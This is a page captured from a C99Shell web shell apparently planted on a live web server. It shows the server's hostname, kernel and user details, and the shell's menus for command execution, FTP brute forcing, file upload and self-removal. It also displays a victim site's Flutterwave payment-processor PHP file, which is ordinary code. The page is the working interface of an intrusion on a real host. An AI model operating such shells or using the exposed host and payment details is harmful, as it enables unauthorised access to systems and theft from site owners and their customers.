!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/Modules/Flutterwave/Processor/   drwxr-xr-x
Free 26.49 GB of 117.98 GB (22.45%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FlutterwaveProcessor.php (5.16 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package FlutterwaveProcessor
 * @author TechVillage <support@techvill.org>
 * @contributor Kabir Ahmed <[kabir.techvill@gmail.com]>
 * @created 09-11-22
 */

namespace Modules\Flutterwave\Processor;

use 
Modules\Gateway\Contracts\PaymentProcessorInterface;
use 
Modules\Gateway\Facades\GatewayHelper;
use 
Modules\Flutterwave\Entities\Flutterwave;
use 
Modules\Gateway\Contracts\RequiresCallbackInterface;
use 
Modules\Flutterwave\Response\FlutterwaveResponse;

class 
FlutterwaveProcessor implements PaymentProcessorInterfaceRequiresCallbackInterface
{

    private 
$url 'https://api.flutterwave.com/v3';
    private 
$payload;
    private 
$data;
    private 
$flutterwave;

    
/**
     * Purchase data
     * @return object
     */
    
private function setPurchaseDate()
    {
        
$this->data GatewayHelper::getPurchaseData(GatewayHelper::getPaymentCode());
    }

    
/**
     * gateway data
     * @return object
     */
    
private function setFlutterwave()
    {
        
$this->flutterwave Flutterwave::first()->data;
    }

    
/**
     * Generates payment request url
     *
     * @return string
     *
     * @throws \Exception
     */
    
public function paymentRequest()
    {
        
$response $this->curlRequest('payment-requests');
        
$response json_decode($response);

        if (
$response->status != 'success') {
            
paymentLog('Flutterwave::' json_encode($response->message));
            throw new 
\Exception(__('Couldn\'t initiate the payment.'));
        }

        return 
$response->data->link;
    }

    
/**
     * @param mixed $request
     *
     * @return json
     */
    
private function setPayload($request)
    {
        
$this->payload json_encode([
           
"tx_ref" => 'FLW |'.time(),
           
"amount" => round($this->data->total2),
           
"currency" => $this->data->currency_code,
           
"redirect_url" => route(config('gateway.payment_callback'), withOldQueryIntegrity(['gateway' => 'flutterwave'])),
           
"payment_options" =>"card,banktransfer",
           
"customer" =>[
              
"email" => $request->email,
              
"name" => $request->name
           
],
        ]);
    }

    
/**
     * @param mixed $action
     *
     * @return string
     */
    
public function curlRequest($action)
    {
        
$curl curl_init();
        
curl_setopt_array($curl, array(
        
CURLOPT_URL => $this->url '/payments',
        
CURLOPT_RETURNTRANSFER => true,
        
CURLOPT_ENCODING => '',
        
CURLOPT_MAXREDIRS => 10,
        
CURLOPT_TIMEOUT => 0,
        
CURLOPT_SSL_VERIFYHOST => config('flutterwave.ssl_verify_host'),
        
CURLOPT_SSL_VERIFYPEER => config('flutterwave.ssl_verify_peer'),
        
CURLOPT_FOLLOWLOCATION => true,
        
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
        
CURLOPT_CUSTOMREQUEST => 'POST',
        
CURLOPT_POSTFIELDS => $this->payload,
        
CURLOPT_HTTPHEADER => array(
            
'Authorization: Bearer ' $this->flutterwave->secretKey//Get your Secrete key from flutterwave dashboard.
            
'Content-Type: application/json'
        
),

    ));

        return 
curl_exec($curl);
    }

    
/**
     * @param mixed $request
     *
     * @return object
     */
    
public function pay($request)
    {
        
$this->setPurchaseDate();
        
$this->setPayload($request);
        
$this->setFlutterwave();
        return 
redirect($this->paymentRequest());
    }

    
/**
     * valdiate payment
     * @param mixed $request
     *
     * @return [type]
     */
    
private function paymentValidate($request)
    {
        if (
$request->status != 'successful') {
            throw new 
\Exception(__('Payment failed.'));
        }
        
$response $this->getPayment($request);
        
$response json_decode($response);

        if (
$response->status != 'success') {
            
paymentLog($response);
            throw new 
\Exception(__('Payment could not be verified.'));
        }
        if (
$response->data->status != 'successful') {
            
paymentLog($response);
            throw new 
\Exception(__('Payment is not completed.'));
        }

        return 
$response;
    }

    public function 
getPayment($action)
    {
        
$txid $action->transaction_id;

        
$curl curl_init();

        
curl_setopt_array($curl, array(
        
CURLOPT_URL => $this->url '/transactions/'$txid '/verify'// Pass transaction ID for validation
        
CURLOPT_RETURNTRANSFER => true,
        
CURLOPT_ENCODING => "",
        
CURLOPT_MAXREDIRS => 10,
        
CURLOPT_TIMEOUT => 0,
        
CURLOPT_FOLLOWLOCATION => true,
        
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
        
CURLOPT_SSL_VERIFYHOST => config('flutterwave.ssl_verify_host'),
        
CURLOPT_SSL_VERIFYPEER => config('flutterwave.ssl_verify_peer'),
        
CURLOPT_CUSTOMREQUEST => "GET",
        
CURLOPT_HTTPHEADER => array(
            
"Content-Type: application/json",
            
'Authorization: Bearer ' $this->flutterwave->secretKey//Get your Secrete key from flutterwave dashboard.
        
),
        ));

        return 
curl_exec($curl);

    }
    
/**
     * Validate transactions
     * @param Request
     * @return FlutterwaveResponse
     *
     * @throws \Exceptions
     */
    
public function validateTransaction($request)
    {
        
$this->setFlutterwave();
        
$this->setPurchaseDate();
        
$response $this->paymentValidate($request);
        return new 
FlutterwaveResponse($this->data$response->data);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--